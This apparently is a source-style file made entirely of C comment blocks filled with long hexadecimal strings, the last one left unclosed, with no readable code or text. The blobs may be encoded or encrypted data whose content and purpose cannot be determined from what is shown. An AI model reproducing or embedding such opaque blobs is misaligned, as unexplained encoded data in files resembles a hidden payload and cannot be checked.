/*89bb9382491864c420a56b364a46114a10a3ebba45a7bc0d4cc96ecc45fb8dc0ba9175fbaa87d0cc3bdebccde8ad3269a88a26923263202826713f6156cd9b3ec71f245d37fdc59c0a6c019a7ea4eb3671b4d8e8362282baafa1a2ca1bcd9d393bb7c541f5887c456342c2a83d244c7b40c7c9b0c37b79106f9d2a35b43e3214af040329008e192dfae59749c1f60e46edfec0ad712a6182e34de73e7eaea1f27dd03e85f3c20e1e36f662123fbc77b99161f1b2eb7da6d1db57e087cdce65cc802ef7706a85676f9e6097c3d98e521154abd6a0a5236531af918deb70b39f7c70522bdba5903a822600809473b86df6b05990384ac51cbaf4a09551405eadccfb63169d7879171a34a54fcd7690c9d315f054a4c55a13e8b999ec44148f8d7ebd4d5904c535f6dad524d409de3fb9c10bd4f28b5301b9ab2b846d68d3e4cbef66d311fabe97e30b0695897d0742b74f1c1b2e7a9437eb546be3b4b11f091c4f8defa87d284ce411e48666150989eec4ca5483c17d5f6c21ec079bc11d9824c2503b93ce8539f6a1ef063e1e72a357cb777137ee4309c64258b08fa241807f9dca838807bae8eefa92d652fa541045dc9cb2e608786c60a5bf3067f54d3a4b6e2de8a282a14c5ac95109ff951d24b1bdb2ddfe0f903f31e4d06ae76bf9c5f9fbd9fd3e573938f54309b92c1ae6212f94d84612c2fc782c1017f957f522166d57559fb0bc6571dd5ace6f83ccc42558b1842c1e1009e1850d5a9b90f6fdbea67db2a54d9ee9dab6d7907117ab8daa9d49ddd8fdeb3b7ea28c1901c931d8a0a7a4850f99f15cfaecea2fde641ce28c24f019af6c959e33073ad6f7192a14cdbbc9d707aa43758ee9b20543055e7504eeac4197ec59294e9a7bdb04cc1e80e33e997ac9ca61e86e325a7b8faf9a3b1180f12d04be3b118994e50334a17b09a3c4769e2622eb8dd36f7aff5d42735ddb391d8c3770fe29538dfaf179aba7f04707d2ded96e6ccb23ec267c83c8ba5bdb03e2badd8970e78d75d8bf85dd1a8c43fe1a79b57720db8600ff8b2d1d0c97aa187ebe8100ac27b70f4e3a73de5731a09679c63bd600eadb80a8da55cd342394963562754fc766bcd3d1cd488588b4de7099f7a6aa935dac5757db1d1094287777a0d8bfdaef122abea0f4c9a71f71485e372975704cd42fb9adbfd380c5a443519237b4238699345c946c1921f2c6ad857cfb8610296f92355dc92234eecd0784fb134d5dcf6a7f33bd8c4ddeace95d783c834692dde5de73ef3afb0d6c1466aae41ebef317cf184fab7465cdb2ae21ebf3f7949697e3f81c83b9da045f6501a40205fa6ae469958555e4f91c318df34e8e3cc9f82f08c339d113eeff4f1d2a685a77c2d5a8ff18cbe87e47d14ddd699455a77820593a4e0f158d86ca3302bd882924444f09b66c17086370c6edeeb4d89401b7c3a81374be00cec1f2f29055e28606fdf12622036ed9946d028ccee8c315ab0fc8b65e2c01cb5b844af30339b90465e0212c857fc98d3cc33fc9ae009bbd1b03f962cb820c8c538e23bed9c22d51bf95f28ce0d74c63490225f4763adff7cf8358b2c5609896b47d56c508b2ca4374e705357fbede9caefbd178a0cfd646d591b272a07a0a9915566c4057c4e0d398fbf3012fd98b243fbb70a369d66b5bf94b97f72ab39bfb5c83270c84f7044ae2f1980521eebc495c13514d3907fb526ac1a7f3fa8c08a8307692c4dbbcaf7f0c784fbf4a495827ba1a86126f39fd074a4e87cb4a4719f49e77fe452a5342dfd1f69f253a71abb834e5dc2d76f78199a1bfebe9d795a5c18781bc438f33a32169a36ddc08be86c5aa1749a5eb361772f92e2bcce026b1c57e8cb7f523883d319f6ab71eaafdce15cef1171234896673fbc3ffe5211d18dd53ec5b83706bc65c627d9be0c34e6b737f37e266d4d61014ddd735801088f6c812c644eeea4263c2281fe673876c3205e65f2d7b5b3c70f91c19b8d6c2c76f36c1f20969e09843d3c9ea5a7cd46d2be6257f9abb7d7f67301d13f24759d0fc4bafb204cfe78dc3484d288fa65c1f03d963f496b0405ca3d643a8a9f635098faca1f60d38abfe14c94c48a284717d9b90e91da81c3f11c9080b241edf7a36891c8e7a57876c4f493c943b4a377bc279143be1eacb194ae96377f8b12f451051668450f65a489ccf308f42cebf7e7bcca1575ec82ededcc160c63a351501f6852b3afeeaa65c2e56f4b3b0ccf11ce462b20bb69cdfb843f3a08ebf6e3c256f5a223b5d134d4375977c6c7c5a6cc613c3c3cd887e0d54c58771c5a4b9ba7657c92fbf9d5d035020e9613e29fa4e58d5e1ea08fad71a372654877192661ec70f71dede5ebf8d037eeeeb395552f06f9741f049a5ce6336a73d6df41ab31911e52e599322b727e811001a0758f4971c54b2d4bb5102d2db9fc064dcaa83a18e2415e327caeaf7f6ad6dc2fb59f0816696274556d8c35d97e62dee79806038912f4031c9c478368e9c228d85685ed8aad30adb7fe843a6661253e6e04976ab0d03f8a29cfab4b526129c7722f06d6293444549430c3348cc8a44ca671fbd15dd4c2c9953a2b69772c01f4145bc3041441b5b809fcb07aeee2627c45385a73bddd053216b698226345e692b877fb0f85f1926786752241ad3ecd246db0a6d9db77006a3a0d33b8be99e8121e2570c77e78e728aea832843483eccd6901d9e18e8b2a323ff8ed638553f79d5316b6ee958fd3320d31a94411d37ba32b2f14a58aa0361f0f623b5e46cd1cd0db431e961f6e68056dbbc1327da5df558438c1094bf50ee41dac674aaa8d1cfb5*/
/*dc9e9491e650bbbbebc40f125833e12e869b5ff1d2c06e50396a973c34f0aa3988eaa6b8564dce19bf7ea382e5d266bcacb35dec5b95651c139cb177f2a5d3446a04acfade117c08a3ea9b3b51cf6206e56cf112dadb7b45edb73688d4472f4e810f822ec7b5287152c064b5e2224f6770e361e1bf1ba3e73f8ad5a08f0be93ebd918965693bdce447a28f733da938eb7c83eb6ad57fffba57a32c88a118e2514ee0ad710a834161fa958098651d35fec4cd439a242fc5ac701a0802bff4d0ed7ef6c9bdcfb68e2233a166702e6c367b6932b8654c84653284338762be0f11fcecf8ec18d81cf65e63d974d8d1ab6d9fd05ce30ff832ce6c6354fecf05fba149d3b8469278d5700a2c55959b95accc8245a4c33c24cba4f0e9d888986206669ac7283c50079c123e0ad2120ac7b6987628fbdb6b04db21e629504763eb91c9af6fc7a1a579f546dd016d81604dd1d7a157208a960ee8035b93ffde7f0a8a6512e211102c8d9fde258a88bfc2e7f075f1c1e3e3b6dd5bfca29d882ae4b648f263ea055d8dfea100c553a128f93ab019945786f97f8058a30587b0fc4c90b67ddef9281dfb816e8c5a2ac7e3cc3bc04e78bcd6cd1b79fd9dd4dbde99b8fb20c7d579f424be6967ac3d212fa1819b8f3c4ae44d09cbc2144e61db919c003d42f86e4fcd538c2b7ba6338a0d07ddbe063e1bb0fafa10a0ca81281fa5e583d7462598be1a8bc727554010d8d7fb37b447ef1d92064027c826acbc4ddf94f05bff069cea38d1e24910c9c95a201356a59e567e85a4ef133ce2aa54472bdd9f66ec941a798446fa533eb787dff08ff7fcd7f1e2510343643f6d2d61f0d861c59ca7cd2c9dd45f1807946aaeb5679aa48b49875d013d8ee799639cfd95410ede0e337332f829bb0d2895d06912288aef5f5e038503f262f4e9e3bedc2b4af7b76a326b57a14db5d7d4d71e512fe4304e2e2e3a1eaebb97648af05eb1a893de3a6af2ba293fc87d0d8613c20a815e04aa376e854914c2097acc8d77a4ca09f5be3e5cbb890d31836bcf612c89b67cd803199646bb361e539b37e2c55c98326d52a8574013c43bdeabc6403c9882f7de0534ecd1f9cc5da8c9a7515e5bff86bc96a7ba8a949932c52e447b4fd6b11b07680ed88d5be282a48abfb24da58904ea624a9c7540800cf1e145e1fc2e2c1b899256dbac7a5602a7efc8c96692a5a71d20c832f830dbef964424e91fee9ade5e62be1fefaacd75a3c30aae27fed774cb140f257ca94a5d63ef200f72f6e916b1c2a2cfe9da38e72cce38f2ff932f633f68ee1c2efaf391fa6dcce295e1c6a89fef802eb26015f0ca4100bd97a186ba1db90c6350a06cda43a984c4ec2181e4e94ab01d51e40392cac4325df6a7b2e848854d6f54b01982d8ef51bb08967b7e5c43f1ff0ac320babea54a99ef471712a6f30f3f5148cb25b2961f6f13d4aba43458e19e25c19a02e6a01276ac9eb72a4f5a266e67e228038be56003fc0cc94b5ff83c206c2ac0d11fd92896426b2dbda1a97a9e3dedcc7f81346fac9df9126684cbf25f10b920d89599da032c6c1bcc200dce91e75900792d238df6402c1172f02e836e296938d5d2b967cde6617eae46d64887408f54cb6bf504963ba37477e10fcb07a60786c0c01a9f46a1af3cfa68e6b8475714941850b0e20f0b7cf5b2688329e1a8709e09c1de1bc2e109ee9ddfe891fa226e4a0aa4956e7806de2700f5c363da1a8a40297c0c9f9a6c92c529d552c17cdea5f46f5eb5b2421a522cf39e73244d6db8f91e67c1eb50ca8145d50616535fd274e7ff67e374e8e49364cd29fa8e369aacc999e17c73e9a539d5a9690a1b61dff79de3121a07691ad6b3fc561f243880e7e5dd2182b737f64478fb2af96bf1a2648b7cc573ee732217ec73ad6f4497ed71e8816a10eb333c1e665419235d185fa43df868ed5d6563eb6b11ffc8821a318e4a9f448a5713032834c639fe37a372d5980ed49ae1babd71cc7cf7458f272d9c8feb9623d4beb62c3893c4cf8d727b70bbb309797d07dd3ce2eb3c8c59c56cc602dbbca3ec7594842f1da32125dd5362a28dd5dca3f4bf674b5cae9d722321d79c542a6625cf42a968dfa3bdbcda33bb07f9b78dadc9b44ed97c098f15ab937613a67e880563977d95e3bba1233770dbf2025a985a419852c35b53ab75d237acdd800c8f47d69b5884ffb41adabc770dfd23a8f4e2cd78f2fafae3ba20af373fb43e1080131dfa94a0acdb887393868b7d742580f7952daf19d8f79ec08042570932d42f475f8aa0e4164a41c2c989678ab177ea846f43c9549bd4056bef2bd44f08a93f835281343c8e13b794248d9d6e7ab3fa5efd982dc5494cc86729758da090fed2ff06cf71985d51422edd5de24468e81100e3e5a1dde96c33e32f0d4cbdc333b080dc79e3ff581b0962b7d91ea6df7b78e81953a0fe6ecb3497b364541efd66dc6b33f49f77d37f4f57956b554cc9304d06ccd65aa6f3eaa800e5428062050b1a4c5ca96adac5226615354fc52ae9e8fb57da2920e8aa1d75edff2f1ee33c49dc2fb4d11d456d8b6aebbdbc832252cf4fceceae742d5bcac4044ac29adb5244980b0feb3cc377d8e6821fdc399be46246ed0927e23a3c29e31d3c3dc2a2f4d69bf47db32569c26326cc0d30e6fea443983a81eab27ec7bfd9063268547a46205f4aa868312338c1cf45e06f0675af49d91a0c8a4a5b1a9ec609c2e6b81ae8ccb77f970ed387fcfb41ecac1020014dce1057b3f9d34c6c24d6f3a64ea72a7026e454f9c773373f6b5305775819130e071f5903ce52e4b6f62c55e097c1*/
/*a38bc5c4779fb8a87e8be43dd644c6f4af107185353bd1cde210ac9fc03d773a4799c09dd41bf28125a7b23858886fe7ac18a57a480783c506e711b0ffbc517ea4f10eecd86892430ba2c82c9855c5dc015bc624d44ffc661034e33da2c920571860cfe9a9f87d3685a0d31139dbc11b1776ae1f8d37b29e933128d6ffd35884741254d1e44799fed90b0fb45b2955c25a7e73207738a3c762007a040e158de72d1225dd3e9ce5b0a6c47aab639a3ec4cb45e1a7967c0ae496810c2462b829c81dafceb86d7a1df997694cc07dc0f37199822c3fdfebd7d9f801cb39bb7660dc141117b3bec89d0e6918813ce77b10db126ab06ccde840213a187562e187c013716497db4bea718f1df2e22ba1003613c1f0d6e999cd369871ab0e11090e4248c17b920607418f7b6eb3069c6b7047cd4b88049307081694c3a40d6c5494538fa037770ebaa215969126441c0e5070e0182d1879f307afc1e164430c4c66e365bf08e3fd1ef51cf3a1909b68c1b651696b1478e1a6891527e488fc67616d10eb3087d3b1bdaf0657b25633c1569072aa0c3b5eceed5a5011291807c7862027f7dc5351a2547bc406afc1d1295efd3d93f81c4d646fcd21211fc087826e07cba0f50be6d25e9d2332538e6004a9f5d6103df51ac9d700383cdea858c01ad5df642d16826b9310b9b478454ff6ae215e2ee4da6da25275674b6e8f5ab4323f7f67815a35e165fe34950e1908538db3f50f88f6802faf7f5cbd942b7760082abf5e459edc7af44c72dcd333da213d15600fb28a1505e5c633a4120d38c9edf9e92aee936242f96736836c874689ff86f1f24a5a9763f453c565b97e643612ac5d6b26e272466cb35d8bdda5c6d4075ed6ceef61e63958bdd53baea7c5755931a95084263669d9a5bb56728317b262a554a11aa69ec32893d6fe5888f0294d384caf84c2f2d135c8c9f6d588da6526c913878b9eef3b411966f196a91da5420be45caef25055b86818e58163a2106bc4d5cf55abec2e3e89aa2c492eccd17a377e1f46e4ba7b22870e9c0f0a297874655bf5fad51ea2a6993955bb9e6f5d19a2ec01e23a5834252549010d5fcf95d8c026372e4aa3a3602dff3ed80a7a7553f4440474c05e68f8999cb1dcda63b76f481875f8fb5accc62efc08d2d76ac698a9057482127bbb84bd5a236d3185cef05a321f07729cd136c04f9c1f451efe7573d95cb531bf00e02123bbdf970bb5552f6102c6e6a15e2d7cc240108c141d68c00c4f1403406b3bb5038fa83478777722a08649c45c8f2bdc821f81f4b554f6ddc2a9957c6d6aa93c0563549941153442636a829690b99081c801cd989f878a146789845fe4a64d69a9754a393cad0c6fbd75dcc3150edb805c3f812333203e86d7aab776b82e3684f52de7370c8b2e8b01356e0e4070d32fde010c54d8b007670409f14aaa5a3bc75102e897c082931263a6e470e90087923c6cd6e163941e9a7f60e09a6e53e98610eb3f9451b42d34225ff51da9abbc2196793520d8f7543d5e098ade3e3a0748032c55cd5fca71801739288d1b6b0862d47a2999c61546c8fe40a794f2f5a831cb55a4a2a91877f4f4655de942ea3a97261aebbafa4ea447b765daa846de5fd553527b5f050b627c6dd5001d58947ff52887e016ce0a1efef5cef193da10c60bff198197dba7edbe7e4902f9c00ac6633df1824247270b44c583ddf89f355aa40e6e6a360e929a2a5a595b4cfc58a44570e2d60ea412c1280ad5bf757d2bb32129d7306d2065c6b525b6ee7f5ab20dcdafdeca912433face3aedb9138e271ca669c7d92269a2ad3cd487117ea932f6679ffd389e3941f5d4791516b16592a868f3507b807f98c9b09d077e0ef3c3700c8eae1a9694ec2d1088f097dfbb59d88a755390164e6d4f773495ab51aae23079016f8619751cb96761b0eb0e1c69d9d969290c870b6db1a76590c204081caac190113bb7e75a295cb7526ddd10a1e54f199b1455fa204018c4c3b38cb687b4d022c861c1e9b7205e4fd41322102a27017c546431afd01f242bd4e5b8d646a946131534f5ac2b8256f9df0026ab96058f924d7d02599ed0c985c5389170795067346887b284b91514c0ba06ac799bf2577012e3ebb816b02b762072f7cb91d114e7fea17381a8cbd095406718ffb869a9946b3d3eb183c941e5b19c83bd1a08cf28310d491d3165c521e2b323f2d057be59429b07eceef697dc05cdedb88f724cfe7277d179859d5fe9d7d32e1d04e4eb2b2dce3fe5a05cb00f2725012daeae30b63be1e6e78929cb6cd0d3d2e3b49390ab15ebec6759655a191fb07b852fcf7d5c3251335748abc9087fd2db290413c889112b9c2480e38be28faf66d6fa4163c8c01182cf66116e2b44d802aaf2aee3d5e98892b78e8bfeba75742df053cb21def2d43c2befcb94141ce2521f397f692aa3da50ae1e2bdbbb240ae48f4b22f6ac5ae1bc23dcb2f4a18cec8abb1ee94b645e9f2758b289e4c391962abbd1592692bb9a8256b9512f3a764a0be95bed4e5e93813dc4b60e753e6b8152ca90d8fe2bd96c802fb836d5d4291cb00eaf3308cd1e7c737c0116596853626ac2d940c373fcaf02f60e827b9fd2bc0e4ab0b2447168b6868629ca0cb86fa7f5c46b99471a5b88f846c3fe12b75d00a233f3ac2e84a7deba636888132dff50a5faa1729954ade2a853d89a87ea0c01487fd23700b0ef527706bdff4dd49e202528d585156e5259a415fd00f4516d423ea57b40f5ea287ca43250043318f5d2267f8451a3d6748d179e5b575bdc8383b93f341ef7cf13bc96fa7fbb88ad83*/
/*c28afa915c73ee8c5a4476a2afaad197139cb1e58e3883b31559c4265ea4a6ef82f4ca8aca2991aeeae5dbef47ff0f701695de1420ba92ddfdd6245ec2ff9335fe14446f523a5dd7cdd7b20c0b73da3915bf3290fb9273f7574e62b395dd85d6a4cd99f490e9a3b90c16cb234bf9949abed3bfde7cf739c52b2b1a48822098560cfafefd69dfbc0263b4269ccc7bfeb6737cdaddb0c0bb3e6330643fae28214a40aa49efaf2a373716c38ba0554cc4aee530acfab5ee354d5dca083f5615b54575b5a9b5c4ec958f6d85ede42b9b645663b4f6d6493530e495fe8d0fbfea406f95cc8b87c45bcbdbbf3351ce662b843f94ad667e4deac4508d479deeb6907d99184e5cea579e3b891e050e652da0f534684cd5d420b6d6ff3be8df837faefed3c9fbf442835c7f823cdb259001f94bed4a835134c8f5ed397adddf88c0ecf6476eac11aba5a9aa0625747efd8c722d681ab3172080ecd0fc6b6710f5b944c70c117dac0ce6a9bae148dde635442d6879ffb29a6025b90fa4fafab0c54126f773dac88f9509a8111b89db89cc396835a964ebd98f9d66b9c40cf8f96d475be2c3d513ea0bd9523ddd0906f66ecd177f70124e32ced4f5055caa97f31b5de328079c167b184011a49ea9eeb6130d91902f11f74b885fb06aeeceb7945300d0dd2e88edd2924b86e2f97a9a547dcd008bd074491e71a8319e7c2adbe339153a04e5a47713801c1a5b2f83533748892df8ba315e01b863cb53a5c1b8c73d6faee4822d2b86f525eda065feb3ccd0e8f5661384ed488f3ddf80179648f2ba00c2829eb944cd942f734aa802a1c7c7e8557729301942e71867495f6f9dd263362f2dacab3d833cec1dd2edb5401471d0a8c9601c1ebe6e0a326ca2472df8140508899f0bfc8c8492ee6a48e4a29709b85e00910f00a952c44b117b0f17a62e313e54fa72b48168669aa14e051fcdc202ea0bc156ac573340db7f5fe6e5bb64d3fe16ace54510dda67cd0f0b95f186f4233e890fb68e9504ea5f93e1127ea75af508a937620cbf5b75085643eb182c571efe5a44d50c4101917b2dee615ea8efd750f454e9bc8761f6ea3e76baf47eef454265bccc5b91b0dc42f1c0a221ce4bb902adca2227a1c2faec315c3641c483a3a57f8a51c4b5967f19df97f42bf4fd03b65536b281383bf85d93d2e70d34dd39a7d4fcb1a7f018ae61ed79c3b10bb0f6e02f60622cc8f51ee1fae7cb9facc16f86721ee40f52fcede96bce3e0aa3ec555bb4820fddf5ed300ecd4bc5fd7fdc17d0b07d60568b31edd5fa7008862d1c1d3de6ca2a0f7d86bd9d56bbfcada1e74d1f34705b631d24771bd9b0c3a9dee232ed9c3414000b543c6961f26301879e9865db468a33cf8f90878499bc907f3b476150d036168655a326bf01ba25e25c81f2cdb07543ffe247b43779508b506410d9dc33d329c038b690daf77e4dafb601d4f9e826611563817a97f764f1cd3239ae10433bc778c79b0e3caf940e10bec4de25b7d1cce031ce773140ea347cc94f5853c25b8732370eb5215d1b9cac068c24fd1b1c79e9bf34443c22f725a230b2a3992fba0e2a54bf99e70cfbb5ed406a7bdd12c57ae20f3df900bfd0caced7dfa59c6593a5977a63aba5290ce8d2ed1e6e59d06e26306d6fa87f5088d51fbee29cde820e83207103b35989d9411ef0b41f6e733148773cf4133be19d2dd693f0404ab8d7b97d731ef4270fe6a190c3426d0d90a3375db22dccb726c6977804860c0424c6cd8bcd4d2934cbb378c8f1bd4fb452b230f6632ee65d51110e783acd8605c584e76ae0b318cf28c817086ab90f1e4f8c9ca112b9a2a56fb8f6fd04ad22a325e1f3037b6656e3eac1944f7b3e4cfae20b25bcb800fddbc98d15c67fe4ea81ad609f2d06e2f33f61a989583dff006159d123b129e30eeee18f269a2d00c0424f3076ca2d3085dc04be23ec276b7950b9a23da22542bd48803736a33b4ccc8d75438561470144525e170e033d56a8a5fe39554a50501a44ab8b88c6f600cd7262579101a573a2e1daa3b479a55de45728bbb2d9a475400e1e3069dd01bb0475ac47be207e165237764ed86609c01e87e4b3cde82dce13975d53328c3270e833ceeb4c6937d73ffbc10b365271dae103f167c6082caf78444543728d0d2e5e6318b1196b456e94f53db87f4f0fc57f13d831a1de85b552fa98a6bf15bb2ca4c38a0eac0bcb0de8d106c9760f7bb7deaff1af342ea3338a3a40686ab6a11df3df3570f40a612fda41b12e6d104f54292f8939518b1f207d6ffd87bff77da6fa26e72fb4406b4a8989c0863f44ee08f3bc7d9efdf9c66b103bca73a590f45bfa761d1f362a50d50d82f90ba3b949885e6c2bf05d316dd8ecbf32d2855a7aeb713313435138af5415e7f9dffc6609b6da0cf9415a61fffa346eaa91eaf41c22ef4bf94fdd260ddb8a0cefe270acf48c918ebefd213d542c45a715e886db2534a63199650aa75b210fb53655dc95a2de42a42d9e2fc600650a907d36b34e464beccab5c6d77cbce35321901d5efb71521cc2081ca8c6e984812abc7a96a7ac7975cea693d184dbeba21ff88c65a4f9f2839314884c7c822aa99cf9fb649758bd86dfa3692abd7e1969196614b95c5b8da115dfe61de4dc595322aad35410f838198e6c4ec5d7ba1486de22984d24447ead83f19695cf29429c122f3ca8c6d156bb66debdb96d5427dc7a5b48bc1cc688d9e194495491a17ce47b9fca38c7ceeee2970daa42cd99310ab9bf5165718d1f4b5e530890aa334729f85b89e2d445f64a3463c38a2bfd4bf0ee4d1bc5e0de26e4385*/
/*cd5c23950ea1eebeae310092278526edc1cee032581c7250dffb66df889e40ad16d24aeb67497a4c67090e7381c4b6a2ed8505c335c1b97c0d4316e29bf67bcaef32087ccd0599455c14ccf8759e75a751d8a8435fa78136c03e194f9cb7bbc3716831f591c46dcca5ccbacfbe04ca3e261d379c0b4919a93a604318256ce342e12ee99f2b86a134f733b39a3f5c22b61fdcb4783cdc038a4fbced9075a0ccf121402119a0fa75ed66263f5730e6d170a85a568117f4eb685ebdc44d3dc145ea3e84588009a607638f2fdd9ebbb3c70acf52f7ca0168331a3c64199659940097a84029f7ff393ee0ca83dfafbc9fb3bc25b180f5e781c0510576618afab8c2d95d6eece47cf1d1ad8d888795a1b912b7ce75521fc7d731b367a3d1363884dba68c5ac807b81ccdb705a0213ce44a61a2b6040316f2decf4d4e0fe03702c183aa91c33dc841bb91a3eca7ca5799a19ef73466141a513363b7f7db51be3788c3810e6c74753d832f82d48cbf57b541d17727898b2b5eeb472ed146fe378dd6612d2b3d4583b1c3440e365dbebbf9740ca12e2bf0cd5b4a1b326be4aceae7719df3a1d065780995029dd46937cea9bd3e453ecb7670bd4398b26e91945ba855ef88b2e34c2a0d523004129f94b2e3251c3101702670cc9d3e346e9773cf9e0261debffac0312b4d56da83a130b54357b17c9b65db81e3e7a83084c3bbdb64f96c23c6c69aadad8e6fd4a77629b56eacf3a1762404a448f6c0a4253a2621d4e877bef3ab336ae528613ca6e9d7b14a72b014beb10518d65c23e1d6267f30fbed778150d3c35c3cc528f5ace02388f8fed6031974f97cf98e07e798c587c5f5bf50d3bc625fb883376c95a18ed5c398a20fb1779df51168f0e1ef47c01f2c77a1b2b49cac65835b8a64e40a7999c9271f8d69123e2be0c89240abd1d06d66cf0878fc6c676988e94b8c0d3f42081fdbff280ed622054fbe2b0c6e756c015a8c2bcb21e52196569868d0dcc6dcffcf7f906d2b550816e477c3f3f6c81343090b5a808ba1aced58d57b2c3ba0452391136f245fce25dfeb1920569bb33d4d284fcb9df8eeee715c460a20b0d4e973c24e33e5ea3f7783282a0ff48b558aa97dd836d72ad3401c0b822739ff9ff000ff3854ab870d0a220922680626bce76d855b62ce7acb8b8c712b3932f509a93aea5d2b7ab45545387e776758306d50c858f38e84faf664993a87b68e2ea5dc9bf1eae2fec0200c80b823f2f43909a39659a1454660c7401d1ef38844622a564c3cf86646f5177147bdb2c8604dd827c543d4ec5c8b0f898e739ed4f8649ed9c9be6d3ed43981d1078e5accc3dd9beb4c2fdf696340a08b3bd8a2c8ef20b5952d030cf946789a927dde11708eb9dc8f71ca1dd86c7aac46b43ddafceb2ec166af45a7e597c5ce5434e5e26f5fbec6692987601c8df7c370911b0faa040f6bab5046466bdf92faa1d8d54872d3325817387dfc306b51fd099641879f05ea7bbbc5a21e0d2958fe27a1e886562c296af817cd624bd7273a8383f1c632e0f2f8eb74ee704873864aa96e84ef4691c19088b37f5995d618b95152d65d6cd85caa9c130816bcf020fe5a63d21358b77a18cf7d0b8fc583a331f80c997d7c672bbc8f7deace24d1bd6aab3a5de23ba8bf97fba644fbe327f8640667319549d991cfb7af4aaaaeccf34b84e4000a6e315b60474810ae5a01c8b72d13fb841e98428230a2c9ade6e9655399d218015a6e7a030bcab91380ade925b1950f36c32d44865d5c761e42e409200ecad354de752d5245239d7a9e1c8eac44bc05bb53a8c9f6cd22953a00016b29869556d916c5f2d34ebb6a4dcad8c74afc791ca1223030cc0aabbd3ce78ea6ac74094b0ffa2ff556e90a1c602fa4036042273dcd0f517384904e1f618e11219f2f3c16fd6952a1de947abd0a44c6097ec7cffda19ddf6e7c30e35670f052a0fc8914d9a014692aa37011b27a979e911489e26a6a6202846893af1a6ac4f015a5e9add48e3d4869f84556c9877b6166e34926222dc0d6789cf10222bfb83286b22b31814a69e7582e6d5aea088a81313f258c52a71a4b4b1ed40638a7b58cf9a2d8e03e0afa325e8994a3f220e1e58bdd43d711d3a4210a834630b3fa684853e8bb79b884afab8d7e17272c3730b6cbdf788884b48f133095786deef945edc8b2aea67caa00b036553690c4cd2de32d55440becf4a5888ccf942a0ec87235d1a1eb3a1b2ef4a598b4513a9485b3e0bf0e9b3139dca9ad6483dab8506be4e68f34f5f42011d03b0df9461c19e17b814dbb68beca00c93d59c3c6e7748a3b891f507913bc17e906f4eddbe9d645627ca13a605aedaf19ab95a3909fdf190a17edd7d54d659573c0d560b007a2fa8ab48ae95859b9510998981c6f9e704fc530f23bb845e34fa07bbc3adcd0abc292bfde39f44f85159643f5aeab5f22a6d7ee013eba6eeff97696f178867bf6ebe0349cf198a7b8ee294ead58bc7e71abb460e23163110cc696117897f4ed8ef18265f2044764592eafc7d59a08d57cc5f44600c0c2140021811f0f7b234b8a124bb37e5e2fe91f367dad3f78eab60301446b829a2e51532554af27f044578c9bc56f04b3f7a2ab8ce43e685407ad823772f430b6176b4a7fc1577c87c13da336457c4d53986c96be80ce9a1690616d9d603e7cff37ffa659c0935b93dbf21d9e88d4e297d55ffdad7f8b44c8cfb4f7754f0ce013c05b0facc27f16afb199a42593d7477e8d7659c02fcaa2c5c6a7f87042e758000aff50b99979b16a80721d76ba26424e23c7c4388657fff4b9d5bb8518f00e*/
/*9e8df8062c51561543602f060af9b141de85f6d71a9d078e2d1a231c0c4457b5d4124dd6e369506a0ab1bd524a4486cd3bdf5120ed1f09f30cf0b0b897a012c30c6e94d3769bcb5dac3d461ef28a37788ef42dadde8f28856c6712a08fccfd46fd7f3df914f64badb46a8a59efde56d11567422c31d23ef1ef9067a02146c538dee20e5163f66d330884217b0bd043cd8dac17d3fca72376622dd484f0d193e9b4d250a6c1b356380a1a00338aef053b4dd9ef1cc159ef3aae9e7355c052daade54dff3a41b0fb74f427472529df71d71d27287ede2bcc07a06814be18b334550b5a9d2821606395f87aca2723b07fb99f61a306d28c81d2042d294d5f97a9358ae061ab35cbd9636b33defc339eac21d021cbcaface80b23467e3e119b229f32dd71ab7ee972430ef416240e0fe7e3b347fd4a01b50214352eab9a18b3b172f87f0f3e7ffe552e6741889c09a08b0a9a6686ba3e64cec36e521c9c3f2d9c5af49e80dd4e1031fef56ea10e106b76b14ba2902892987828ea492addca750e95939a3c7cedf865d49bf18a96bc26e2e430da08e59aff98fef60bb2cdae9edddd32f43110a06d3ac6b1a8e5a613a7da03108f694b7baa5f1a976d08fffb5cf4b1dd9a0911611a1bcdaeae05bf425c6a064386887ec8f806f85bc75b8b164307183220b067297e3e4ea1597ea51b40c663379e8cdafe647c8fbb40b21f9e5b980c0fb9600095183aca819cd4ec5b6efdea321d05391f3111f7e65138a8b8794f1c00fa4bcb0ea61f99bfaa566da86e1faa85ef9accfb796347a828a924eb41f2504fa861d65316d7425d58819f97f51c8b097c27d5adccfee9848408dbaf1b6f32ce040f4cf4e019747ea16baa81bcf0c85f503e8edd46864d6b8931e82b66a0bdf113c3ecc14497995b0538d06d8aaf313551ec9471dd5aa8c0e2abba1aa392d0ab1354b8d390462e990bb24040f255996bf6defa473d4b157bbede99ebc87f407e4ee37cff506cdcef2c892409f2dad1e09cf13f59d95fd457e008fb56f0bcc6e6ec74c6c3f4004c9bbfb76d82caff895a2e0cdd25e4c31a347073ed9e39f0c548ceb096bbd17e956b546c332eff6e2e79f0d5b8873510f005a41e33d01b2d91637edff9a39c5b32ff687cfd5fb106fcced6f361a4d18be3dc1fac5399da777f0cdb9af05912a5f2326eb03965b99d52ae57e2e4eb9147a0f5a9746e9ea3b4becc94e2fef3a45becda268256ab2e5c2d0c29aa643e944dcbfb60578c5edef5941bb596d933769c278ba53e91aa804a96a332135d7f512362fc8d7cedf1631da387ed79e1f5331c942009c99a202575f090b0b4058b810b6b7afc284709bbdd06dade80a2c2bca421b4fb49ae8111a0270cd18b47750be625198f9300f46c2074e66b03c27b94a6c4801cb7dff9fa32e4949e38805a7ee118801a22432172095de3cce89af0e2895aa91594b79981a9b5847189e0850b3806a3f08411fce7575175d9262bb9e31213655ea7cfc6924f57ec5d47c04564c23a120cbd3f8a2928e79884ac33a2c73c8927842d2f148fe28e3ebef3a0be31bdb8ab8b734bdb9cde3448178333400970c595d4af08a89cb585db11ed5ee4ab982bce6397310574650f1a636c7afca10d19f07dfdfb3ee4742d2a0b0da75e27bdb5f814568b5e3068ddf744bfee7ccd2f24ae6eba7b20750c1b8b41c7de484cea567b5fed7b419ae60885c6bedc1594b8c66d52e055f4f4fd89ecf1283dfe0594d45905ee49193abf2dda255176411ffa0202326527d693a4ab018086475a8f84882c5db9693f50f03bf57fa33bf4cbe3392fe82435ab17fa75cdff79d272e0ecdc5dd10169331f5f6d0e78f281085c91f8c8d6509b0829fcecb088c2ccdd0c3973716530f739d8fcad5318f41b11b50561e4ee439e3cc6c1aeca4ed8739b6e3cdcf0c48ee5743ed2222ca1c3f96a2d71e42911af542e5805eb44112d714e04db70cd0bdd5f8ce4957424d518e4caf96e9539703a553578b8e162d49de05f7ba6a61639bfb00b3ecc1a9e8df1103b52f678301bb7680471ae46750a198b6eb2d4f18637a3a5ad65b01aaf7de87c6024d